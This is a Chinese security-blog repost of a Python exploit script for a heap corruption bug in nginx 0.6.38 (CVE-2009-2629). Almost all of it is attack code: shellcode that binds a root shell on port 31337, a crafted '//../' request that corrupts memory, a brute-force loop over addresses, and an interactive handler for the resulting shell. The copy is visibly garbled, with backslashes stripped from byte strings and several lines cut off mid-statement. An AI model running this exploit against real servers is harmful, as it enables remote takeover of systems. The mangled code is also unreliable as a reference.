【Exp】Nginx v0.6.38 Heap Corruption Exploit

  • A+
所属分类:lcx

Nginx v0.6.38 Heap Corruption Exploit:

#!/usr/bin/env python 

# Exploit Title: nginx heap corruption 
# Date: 08/26/2010 
# Author: aaron conole  
# Software Link:

 
# Version:
# Tested on: BT4R1 running nginx 0.6.38 locally 
# CVE: 2009-2629 

# note: this was written and tested against BT4. This means it's an 
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV 
#       also - only tested successfully against nginx 0.6.38 
#              you'll definitely need to modify against other versions 

# you'll need to know where the offset is going to land, and what the pad is 
# from that point to when you've tained execution flow. 

# A quick way to find out just for verification would be to launch nginx, 
# attach GDB to the worker and target it with the exploit, setting the offset 
# to 0, or some other arbitrary value. It should crash on a piece of code which 
# resembles: 
#   if (ctx->offset) 

# At that point, merely dump the *r; capture the value for the data pointer 
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the 
# hex pointer value). That should give you a good area to test with. You might 
# want to use the range at that point and set the last octet to 00. 

# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet 
#       found a "magic" combination that would cause the state machine to do 
#       what I want to make the bug trigger. Once I do, you can bet BUG will be 
#       replaced. 
  
import os 
import sys 
import socket 
import select 
import struct 
import time 
import urllib 
  
REQUEST_METHOD='GET '
  
# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures) 
NULLPTR='x00x00x00x00'
  
# NOTE - this shellcode was shamelessly stolen from the www 
#        port 31337 bindshell for /bin/sh 
SHELL='x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80x89xc7x52x66x68x7ax69x43x66x53x89xe1xb0x10x50x51x57x89xe1xb0x66xcdx80xb0x66xb3x04xcdx80x50x50x57x89xe1x43xb0x66xcdx80x89xd9x89xc3xb0x3fx49xcdx80x41xe2xf8x51x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x51x53x89xe1xb0x0bxcdx80'
  
# Why did I write this up this way? Because given enough time, I think I can 
# find a proper set of state change which can give me the same effect (ie: ../ 
# appearing as the 3rd, 4th, and 5th characters) at a later date. 
# That's all controlled by the complex uri parsing bit, though. 
DOUBLE_SLASH='//../'
  
BUG=DOUBLE_SLASH 
  
# taken from the metasploit pattern_create.rb 
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'
  
def connect_socket(host,port): 
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    try: 
        sock.connect( (host, port) ) 
    except: 
        return 0
    #sock.setblocking(0) 
    return sock 
  
def handle_connection(sock): 
    while(1): 
        r, w, e = select.select( [sock, sys.stdin], 
                                 [], 
                                 [sock, sys.stdin] ) 
        for s in r: 
            if s == sys.stdin: 
                buf = sys.stdin.readline() 
                  
                try: 
                    if buf != '': 
                        sock.send(buf) 
                except: 
                    print "Xon close?"
                    return 0
                  
            elif s == sock: 
                try: 
                    buf = sock.recv(100) 
                except: 
                    print "Xon close?"
                    return 0
                if buf != '': 
                    sys.stdout.write(buf) 
  
def main(argv): 
    argc = len(argv) 
  
    if argc
        print "usage: %s [-b]" % (argv[0]) 
        print "[*] exploit for nginx
        print "[*] host = the remote host name"
        print "[*] port = the remote port"
        print "[*] ctx_addr is where the context address should begin at"
        print "[*] -b specifies a brute-force (which will start at ctx_addr"
        sys.exit(0) 
  
    host = argv[1] 
    port = int(argv[2]) 
    ctx_addr = int(argv[3],16) 
  
    brute_flag = 0
    if(argc == 5): 
        brute_flag = 1
  
    testing = 1
  
    print "[*] target: %s:%d" % (host, port) 
  
    try: 
        sd = urllib.urlopen("http://%s:%d" % (host, port)) 
        sd.close() 
    except IOError, errmsg: 
        print "[*] error: %s" % (errmsg) 
        sys.exit(1) 
  
    print "[*] sending exploit string to %s:%d" % (host, port) 
  
    while(testing): 
          
        CTX_ADDRESS = struct.pack('
        CTX_OUT_ADDRESS = struct.pack('
        POOL_ADDRESS = struct.pack('
        DATA_ADDRESS = struct.pack('
        RANGE_ADDRESS = struct.pack('
        SHELL_ADDRESS = struct.pack('
  
        #PADDING 
        SHELLCODE=PATTERN[:67] 
  
        #the output context structure 
        SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS 
      
        #Magic 
        SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR 
  
        #this is the context object - some null ptrs, then we set range, then 
        #pool address 
        SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'x01x00x00x00'
        SHELLCODE+=NULLPTR*2+POOL_ADDRESS 
  
        #this is the data buffer object 
        SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR 
  
        #this is the pool memory structure .. 
        SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR 
  
        # this is the range structure 
        SHELLCODE+='xffxffxffxff'+NULLPTR*3
  
        SHELLCODE+=SHELL 
      
        payload = REQUEST_METHOD 
        payload += BUG 
        payload += SHELLCODE 
        payload += ' HTTP/1.0rnrn'
  
        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        sd.connect((host, port)) 
        sd.send(payload) 
        sd.close() 
  
        if (brute_flag): 
            nsock = connect_socket(host,31337) 
            if nsock != 0: 
                print "[*] Successful Exploit via buffer: %x" % (ctx_addr) 
                testing = 0
                handle_connection(nsock) 
            else: 
                ctx_addr = ctx_addr + 1
        else: 
            testing = 0
    print "[*] FIN."
  
if __name__ == "__main__": 
    main(sys.argv) 
    sys.exit(0) 

# EOF

文章来源于lcx.cc:【Exp】Nginx v0.6.38 Heap Corruption Exploit

相关推荐: PHP的strcmp函数引发的安全问题

在官方的文档有这么一端说明: Note a difference between 5.2 and 5.3 versions echo (int)strcmp('pending',array()); will output -1 in PHP 5.2.16 (p…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: